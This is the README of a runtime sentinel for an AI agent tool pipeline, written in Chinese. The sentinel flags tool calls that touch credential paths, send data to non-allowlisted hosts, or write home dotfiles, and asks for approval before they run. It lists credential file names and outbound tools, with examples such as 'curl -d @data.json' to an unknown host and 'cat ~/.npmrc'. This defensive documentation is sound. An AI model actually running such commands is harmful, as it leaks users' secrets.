Repository navigation
Runtime Sentinel
静态审计管"装之前",哨兵管"跑起来之后"。它是挂在宿主工具管线 tools/pre-execute waterfall 上的一个监听器:会话中的每一次工具调用在执行前都会经过它。
工具调用进入 pre-execute waterfall
│
▼
哨兵评估(exec.name + exec.arguments)
│
命中规则? ─── 否 ──→ next()(委托下游策略,默认放行)
│ 是
▼
返回 { kind: 'ask', reason }
│
▼
宿主审批服务(ctx.approval 一次性提示)
批准 → 执行 | 拒绝/无审批通道 → 调用被拒绝
Fail-closed 原则:没有可用审批通道时,命中规则的调用被拒绝,绝不静默放行。未命中规则的调用通过 next() 委托给下游——哨兵不会绕过宿主既有的其他策略。
哨兵只检查工具名与调用参数:不读文件、不读环境变量、不触碰参数之外的会话内容。裁决原因通过 ctx.logger 记录。
任何工具的参数(JSON 序列化后的全文)引用凭证承载路径即触发:
.ssh · .aws · .gnupg · .git-credentials · .netrc · .npmrc · id_rsa · id_ed25519 · keychain · .docker/config.json
例:
read读~/.ssh/id_rsa、bash: cat ~/.npmrc→ ask。 与工具名无关——规则 1 对read、write、bash一视同仁。
shell 类工具(bash、pwsh、terminal_send;命令文本取自 command/input/text/data 键)的命令包含外发可执行程序——curl、wget、nc、ncat、scp、rsync、sftp、ftp——且目标主机不在 allowedHosts 时触发。
- 显式 URL 中的主机优先;无 URL 时回退到命令里的类主机 token;
- 已知文件扩展名的 token(
report.json、build.tar.gz、out.log…)不会被当成主机; - 匹配语义见 安装与配置 的
allowedHosts一节(精确 vs*.后缀,不区分大小写)。
例:
curl -d @data.json https://collector.unknown.io/x→ ask;curl https://github.com/...(白名单内)→ 放行;curl -o report.json(无目标主机)→ 放行。 非 shell 工具参数里出现网络样文本(如write写入含curl ...的文档)不触发。
写类工具(write、edit、str_replace_editor)的目标路径指向家目录 dotfile 时触发:
-
~/...、$HOME/...、${HOME}/...前缀; - 绝对路径
/Users/<name>/.xxx、/home/<name>/.xxx。
例:
write写~/.zshrc→ ask。 写凭证路径(如~/.ssh/config)由规则 1 先行拦截; 写~/projects/notes.md、/tmp/x.txt等普通路径 → 放行; 该规则只适用于写工具(bash: echo x > ~/.bashrc由用户自行斟酌,不在此列)。
cordis.patch.yml 中设 sentinelEnabled: false,重启 profile。静态审计工具不受影响。
dsh-plugin-audit — 审计是辅助而非裁决:它呈现实证,把判断留给你。 · MIT License